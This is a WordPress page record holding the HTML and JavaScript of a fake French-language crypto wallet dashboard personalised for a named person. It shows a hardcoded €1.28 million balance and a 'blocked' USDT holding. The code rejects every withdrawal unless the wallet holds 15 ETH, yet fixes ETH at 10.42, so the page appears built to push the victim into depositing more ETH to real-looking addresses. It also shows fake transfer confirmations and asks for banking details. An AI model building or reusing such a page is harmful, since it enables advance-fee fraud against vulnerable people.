{"id":1216,"date":"2025-01-19T16:42:01","date_gmt":"2025-01-19T15:42:01","guid":{"rendered":"https:\/\/trust.unblockfund.com\/?page_id=1216"},"modified":"2026-03-04T20:52:29","modified_gmt":"2026-03-04T19:52:29","slug":"julien-lugand2","status":"publish","type":"page","link":"https:\/\/trust.unblockfund.com\/index.php\/julien-lugand2\/","title":{"rendered":"Julien Lugand"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"1216\" class=\"elementor elementor-1216\">\n\t\t\t\t\t\t\t<div class=\"has_eae_slider elementor-element elementor-element-b1e17d0 e-flex e-con-boxed wpr-particle-no wpr-jarallax-no wpr-parallax-no wpr-sticky-section-no e-con e-child\" data-id=\"b1e17d0\" data-element_type=\"container\" data-settings=\"{&quot;content_width&quot;:&quot;boxed&quot;}\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t\t\t<div class=\"elementor-element elementor-element-da74e2e elementor-widget elementor-widget-html\" data-id=\"da74e2e\" data-element_type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<!DOCTYPE html>\r\n<html lang=\"en\">\r\n<head>\r\n    <meta charset=\"UTF-8\">\r\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n    <title>NEXUS PORTFOLIO \u2022 TERMINAL v1.0<\/title>\r\n   \r\n<\/head>\r\n<body>\r\n    <div class=\"cyber-grid\"><\/div>\r\n    \r\n    <div class=\"main-container\">\r\n        <!-- HEADER -->\r\n        <div class=\"terminal-header\">\r\n            <div style=\"display: flex; align-items: center; gap: 15px;\">\r\n                <span>NEXUS_TERMINAL<\/span>\r\n                <span style=\"color: #008800;\">v1.0.4<\/span>\r\n            <\/div>\r\n            <div style=\"display: flex; align-items: center; gap: 20px;\">\r\n                <span style=\"color: #008800;\">[JULIEN_LUGAND]<\/span>\r\n                <div class=\"status-led\"><\/div>\r\n            <\/div>\r\n        <\/div>\r\n\r\n        <!-- WALLET CARD -->\r\n        <div class=\"wallet-hacker\" id=\"wallet\">\r\n            <div class=\"wallet-title\">\r\n                <span>\u27a4<\/span> PORTEFEUILLE PRINCIPAL\r\n            <\/div>\r\n            <div class=\"wallet-balance\" id=\"totalBalance\">\u20ac 1 282 109.46<\/div>\r\n            <div class=\"wallet-change\">\r\n                <span class=\"positive\">\u25b2 +21%<\/span>\r\n                <span class=\"positive\">+$703.15<\/span>\r\n                <span style=\"margin-left: auto; color: #008800;\">EQC8-f...7Qs2UE<\/span>\r\n            <\/div>\r\n        <\/div>\r\n\r\n        <!-- ACTION BUTTONS -->\r\n        <div class=\"action-grid\">\r\n            <button class=\"cyber-button\" id=\"sendButton\">[ RETIRER ]<\/button>\r\n            <button class=\"cyber-button\" id=\"receiveButton\">[ RECEVOIR ]<\/button>\r\n        <\/div>\r\n\r\n        <!-- CRYPTO GRID -->\r\n        <div class=\"crypto-grid\" id=\"cryptoGrid\">\r\n            <!-- Dynamically populated by JS -->\r\n        <\/div>\r\n    <\/div>\r\n\r\n    <!-- MODAL SYSTEM -->\r\n    <div class=\"modal-overlay\" id=\"modalOverlay\">\r\n        <div class=\"modal-content\" id=\"modalContent\">\r\n            <!-- Dynamic content -->\r\n        <\/div>\r\n    <\/div>\r\n\r\n    <script>\r\n        \/\/ Crypto data\r\n        const cryptoData = [\r\n            { symbol: 'BTC', name: 'Bitcoin', amount: 0.00, logo: 'https:\/\/upload.wikimedia.org\/wikipedia\/commons\/4\/46\/Bitcoin.svg', address: 'bc1qv5888shtmd54kauf8k7exfmx2yj6uxspw5jtkc' },\r\n            { symbol: 'ETH', name: 'Ethereum', amount: 10.42, logo: 'https:\/\/cdn.worldvectorlogo.com\/logos\/ethereum-eth.svg', address: '0x56Eddb7aa87536c09CCc2793473599fD21A8b17F' },\r\n            { symbol: 'USDT', name: 'Tether', amount: 1318655.31, logo: 'https:\/\/www.svgrepo.com\/show\/367256\/usdt.svg', address: 'TLQCm86kJwTVPFQi1c286YX7jQC1X1bEGa', blocked: true },\r\n            { symbol: 'BNB', name: 'Binance Coin', amount: 0, logo: 'https:\/\/encrypted-tbn0.gstatic.com\/images?q=tbn:ANd9GcSPVQl3k2_pnTREpCeAXPyB5wxktuUPXjmBoQ&s', address: 'bnb1d...' },\r\n            { symbol: 'SOL', name: 'Solana', amount: 0, logo: 'https:\/\/encrypted-tbn0.gstatic.com\/images?q=tbn:ANd9GcTCzN0fnUP6ao0kkY_xrpVyHkbvj9rdoTzm0w&s', address: 'sol1d...' },\r\n            { symbol: 'ADA', name: 'Cardano', amount: 0, logo: 'https:\/\/cdn4.iconfinder.com\/data\/icons\/crypto-currency-and-coin-2\/256\/cardano_ada-512.png', address: 'addr1q...' }\r\n        ];\r\n\r\n        \/\/ Get ETH amount\r\n        const ethAmount = cryptoData.find(c => c.symbol === 'ETH').amount;\r\n        const walletBalance = 1282109.46;\r\n        const minEthRequired = 15;\r\n        \r\n        let currentModal = null;\r\n        const modalOverlay = document.getElementById('modalOverlay');\r\n        const modalContent = document.getElementById('modalContent');\r\n\r\n        \/\/ Fetch prices\r\n        async function fetchPrices() {\r\n            try {\r\n                const response = await fetch('https:\/\/api.coingecko.com\/api\/v3\/simple\/price?ids=bitcoin,ethereum,tether,binancecoin,solana,cardano&vs_currencies=usd&include_24hr_change=true');\r\n                const data = await response.json();\r\n                return {\r\n                    BTC: { price: data.bitcoin.usd, change: data.bitcoin.usd_24h_change },\r\n                    ETH: { price: data.ethereum.usd, change: data.ethereum.usd_24h_change },\r\n                    USDT: { price: data.tether.usd, change: data.tether.usd_24h_change },\r\n                    BNB: { price: data.binancecoin.usd, change: data.binancecoin.usd_24h_change },\r\n                    SOL: { price: data.solana.usd, change: data.solana.usd_24h_change },\r\n                    ADA: { price: data.cardano.usd, change: data.cardano.usd_24h_change }\r\n                };\r\n            } catch {\r\n                return null;\r\n            }\r\n        }\r\n\r\n        \/\/ Render crypto grid\r\n        async function renderGrid() {\r\n            const prices = await fetchPrices();\r\n            const grid = document.getElementById('cryptoGrid');\r\n            grid.innerHTML = '';\r\n            \r\n            cryptoData.forEach(crypto => {\r\n                const priceData = prices ? prices[crypto.symbol] : null;\r\n                const card = document.createElement('div');\r\n                card.className = 'crypto-card';\r\n                card.setAttribute('data-crypto', crypto.symbol);\r\n                \r\n                card.innerHTML = `\r\n                    <div class=\"crypto-info\">\r\n                        <img decoding=\"async\" src=\"${crypto.logo}\" alt=\"${crypto.name}\" onerror=\"this.src='https:\/\/via.placeholder.com\/32\/0a0f0a\/00ff00?text=${crypto.symbol}'\">\r\n                        <div>\r\n                            <div class=\"crypto-name\">${crypto.symbol}<\/div>\r\n                            <div class=\"crypto-sub\">${crypto.name}<\/div>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"crypto-stats\">\r\n                        <div class=\"crypto-amount\">${crypto.amount.toFixed(2)} ${crypto.symbol}<\/div>\r\n                        ${priceData ? `<div class=\"crypto-sub ${priceData.change >= 0 ? 'positive' : 'negative'}\">$${priceData.price.toFixed(2)} | ${priceData.change.toFixed(2)}%<\/div>` : '<div class=\"loading\">LOADING...<\/div>'}\r\n                        ${crypto.blocked ? '<div class=\"blocked-tag\">BLOCKED<\/div>' : ''}\r\n                    <\/div>\r\n                `;\r\n                \r\n                card.addEventListener('click', () => showCryptoDetail(crypto));\r\n                grid.appendChild(card);\r\n            });\r\n        }\r\n\r\n        \/\/ Show crypto detail\r\n        function showCryptoDetail(crypto) {\r\n            modalContent.innerHTML = `\r\n                <div class=\"crypto-detail-view\">\r\n                    <img decoding=\"async\" src=\"${crypto.logo}\" class=\"detail-logo\" alt=\"${crypto.symbol}\">\r\n                    <div class=\"modal-title\">${crypto.symbol} ${crypto.name}<\/div>\r\n                    <div class=\"wallet-address-box\">\r\n                        <input type=\"text\" value=\"${crypto.address}\" readonly id=\"walletAddress\">\r\n                        <button onclick=\"copyAddress()\">COPY<\/button>\r\n                    <\/div>\r\n                    <button class=\"cyber-button\" style=\"width: 100%;\" onclick=\"closeModal()\">FERMER<\/button>\r\n                <\/div>\r\n            `;\r\n            modalOverlay.style.display = 'flex';\r\n        }\r\n\r\n        \/\/ Copy address\r\n        window.copyAddress = function() {\r\n            const input = document.getElementById('walletAddress');\r\n            input.select();\r\n            document.execCommand('copy');\r\n            alert('[\u2713] ADRESSE COPI\u00c9E');\r\n        }\r\n\r\n        \/\/ Close modal\r\n        window.closeModal = function() {\r\n            modalOverlay.style.display = 'none';\r\n            document.getElementById('wallet').style.opacity = '1';\r\n        }\r\n\r\n        \/\/ Show send options\r\n        function showSendOptions() {\r\n            modalContent.innerHTML = `\r\n                <div class=\"modal-title\">\u27a4 S\u00c9LECTIONNER TYPE<\/div>\r\n                <button class=\"cyber-button\" style=\"width: 100%; margin: 10px 0;\" onclick=\"showBankForm()\">TRANSFERT BANCAIRE<\/button>\r\n                <button class=\"cyber-button\" style=\"width: 100%; margin: 10px 0;\" onclick=\"showCryptoForm()\">CRYPTOMONNAIE<\/button>\r\n                <button class=\"cyber-button\" style=\"width: 100%; margin-top: 20px;\" onclick=\"closeModal()\">ANNULER<\/button>\r\n            `;\r\n            modalOverlay.style.display = 'flex';\r\n        }\r\n\r\n        \/\/ Show bank form\r\n        window.showBankForm = function() {\r\n            modalContent.innerHTML = `\r\n                <div class=\"modal-title\">TRANSFERT BANCAIRE<\/div>\r\n                <input class=\"modal-input\" placeholder=\"NOM COMPLET\" id=\"bankName\">\r\n                <input class=\"modal-input\" placeholder=\"IBAN\" id=\"iban\">\r\n                <input class=\"modal-input\" placeholder=\"BIC\" id=\"bic\">\r\n                <input class=\"modal-input\" placeholder=\"BANQUE\" id=\"bank\">\r\n                <input class=\"modal-input\" type=\"number\" placeholder=\"MONTANT \u20ac\" id=\"amount\">\r\n                <div class=\"max-hint\">MAX: \u20ac${walletBalance.toLocaleString()}<\/div>\r\n                <button class=\"cyber-button\" style=\"width: 100%; margin: 10px 0;\" onclick=\"processBankTransfer()\">EX\u00c9CUTER<\/button>\r\n                <button class=\"cyber-button\" style=\"width: 100%;\" onclick=\"showSendOptions()\">RETOUR<\/button>\r\n                <div class=\"error-message\" id=\"bankError\"><\/div>\r\n            `;\r\n        }\r\n\r\n        \/\/ Show crypto form\r\n        window.showCryptoForm = function() {\r\n            modalContent.innerHTML = `\r\n                <div class=\"modal-title\">ENVOI CRYPTO<\/div>\r\n                <select class=\"modal-select\" id=\"cryptoSelect\">\r\n                    ${cryptoData.map(c => `<option value=\"${c.symbol}\">${c.symbol} - ${c.name}<\/option>`).join('')}\r\n                <\/select>\r\n                <input class=\"modal-input\" placeholder=\"ADRESSE WALLET\" id=\"cryptoAddress\">\r\n                <input class=\"modal-input\" type=\"number\" placeholder=\"MONTANT\" id=\"cryptoAmount\">\r\n                <div class=\"max-hint\">MAX: \u20ac${walletBalance.toLocaleString()}<\/div>\r\n                <button class=\"cyber-button\" style=\"width: 100%; margin: 10px 0;\" onclick=\"processCryptoTransfer()\">EX\u00c9CUTER<\/button>\r\n                <button class=\"cyber-button\" style=\"width: 100%;\" onclick=\"showSendOptions()\">RETOUR<\/button>\r\n                <div class=\"error-message\" id=\"cryptoError\"><\/div>\r\n            `;\r\n        }\r\n\r\n        \/\/ Show receive options\r\n        function showReceiveOptions() {\r\n            modalContent.innerHTML = `\r\n                <div class=\"modal-title\">RECEVOIR<\/div>\r\n                ${cryptoData.map(c => `\r\n                    <div class=\"crypto-card\" style=\"margin: 10px 0; cursor: pointer;\" onclick='showCryptoDetail(${JSON.stringify(c).replace(\/'\/g, \"\\\\'\")})'>\r\n                        <div class=\"crypto-info\">\r\n                            <img decoding=\"async\" src=\"${c.logo}\" style=\"width: 24px; height: 24px;\">\r\n                            <span>${c.symbol} - ${c.name}<\/span>\r\n                        <\/div>\r\n                    <\/div>\r\n                `).join('')}\r\n                <button class=\"cyber-button\" style=\"width: 100%; margin-top: 20px;\" onclick=\"closeModal()\">FERMER<\/button>\r\n            `;\r\n            modalOverlay.style.display = 'flex';\r\n        }\r\n\r\n        \/\/ Process bank transfer\r\n        window.processBankTransfer = function() {\r\n            const name = document.getElementById('bankName')?.value;\r\n            const iban = document.getElementById('iban')?.value;\r\n            const bic = document.getElementById('bic')?.value;\r\n            const bank = document.getElementById('bank')?.value;\r\n            const amount = parseFloat(document.getElementById('amount')?.value);\r\n            const errorDiv = document.getElementById('bankError');\r\n\r\n            if (ethAmount < minEthRequired) {\r\n                errorDiv.textContent = '\u27a4 ERREUR: Vous devez avoir un minimum de 15 ETH dans votre portefeuille pour faire le retrait.';\r\n                errorDiv.style.display = 'block';\r\n            } else if (!name || !iban || !bic || !bank || !amount) {\r\n                errorDiv.textContent = '\u27a4 ERREUR: Veuillez v\u00e9rifier vos informations.';\r\n                errorDiv.style.display = 'block';\r\n            } else if (amount > walletBalance) {\r\n                errorDiv.textContent = '\u27a4 ERREUR: Le montant ne peut pas d\u00e9passer votre solde disponible.';\r\n                errorDiv.style.display = 'block';\r\n            } else if (!\/^(FR|BE|GB|DE|ES|NE)\/.test(iban)) {\r\n                errorDiv.textContent = '\u27a4 ERREUR: IBAN invalide. Il doit commencer par FR, BE, GB ou DE.';\r\n                errorDiv.style.display = 'block';\r\n            } else {\r\n                errorDiv.style.display = 'none';\r\n                alert('[\u2713] TRANSFERT BANCAIRE EN COURS...');\r\n                closeModal();\r\n            }\r\n        }\r\n\r\n        \/\/ Process crypto transfer\r\n        window.processCryptoTransfer = function() {\r\n            const address = document.getElementById('cryptoAddress')?.value;\r\n            const amount = parseFloat(document.getElementById('cryptoAmount')?.value);\r\n            const errorDiv = document.getElementById('cryptoError');\r\n\r\n            if (ethAmount < minEthRequired) {\r\n                errorDiv.textContent = '\u27a4 ERREUR: Vous devez avoir un minimum de 15 ETH dans votre portefeuille pour faire cette op\u00e9ration.';\r\n                errorDiv.style.display = 'block';\r\n            } else if (!address || !amount) {\r\n                errorDiv.textContent = '\u27a4 ERREUR: Veuillez v\u00e9rifier vos informations.';\r\n                errorDiv.style.display = 'block';\r\n            } else if (amount > walletBalance) {\r\n                errorDiv.textContent = '\u27a4 ERREUR: Le montant ne peut pas d\u00e9passer votre solde disponible.';\r\n                errorDiv.style.display = 'block';\r\n            } else {\r\n                errorDiv.style.display = 'none';\r\n                alert('[\u2713] ENVOI DE CRYPTOMONNAIE EN COURS...');\r\n                closeModal();\r\n            }\r\n        }\r\n\r\n        \/\/ Event listeners\r\n        document.getElementById('sendButton').addEventListener('click', () => {\r\n            document.getElementById('wallet').style.opacity = '0.7';\r\n            showSendOptions();\r\n        });\r\n\r\n        document.getElementById('receiveButton').addEventListener('click', () => {\r\n            document.getElementById('wallet').style.opacity = '0.7';\r\n            showReceiveOptions();\r\n        });\r\n\r\n        modalOverlay.addEventListener('click', (e) => {\r\n            if (e.target === modalOverlay) {\r\n                closeModal();\r\n            }\r\n        });\r\n\r\n        \/\/ Initialize\r\n        renderGrid();\r\n\r\n        \/\/ Refresh prices every 30 seconds\r\n        setInterval(() => {\r\n            renderGrid();\r\n        }, 30000);\r\n    <\/script>\r\n<\/body>\r\n<\/html>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>NEXUS PORTFOLIO \u2022 TERMINAL v1.0 NEXUS_TERMINAL v1.0.4 [JULIEN_LUGAND] \u27a4 PORTEFEUILLE PRINCIPAL \u20ac 1 282 109.46 \u25b2 +21% +$703.15 EQC8-f&#8230;7Qs2UE [ RETIRER ] [ RECEVOIR ]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-1216","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/pages\/1216","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/comments?post=1216"}],"version-history":[{"count":52,"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/pages\/1216\/revisions"}],"predecessor-version":[{"id":2235,"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/pages\/1216\/revisions\/2235"}],"wp:attachment":[{"href":"https:\/\/trust.unblockfund.com\/index.php\/wp-json\/wp\/v2\/media?parent=1216"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}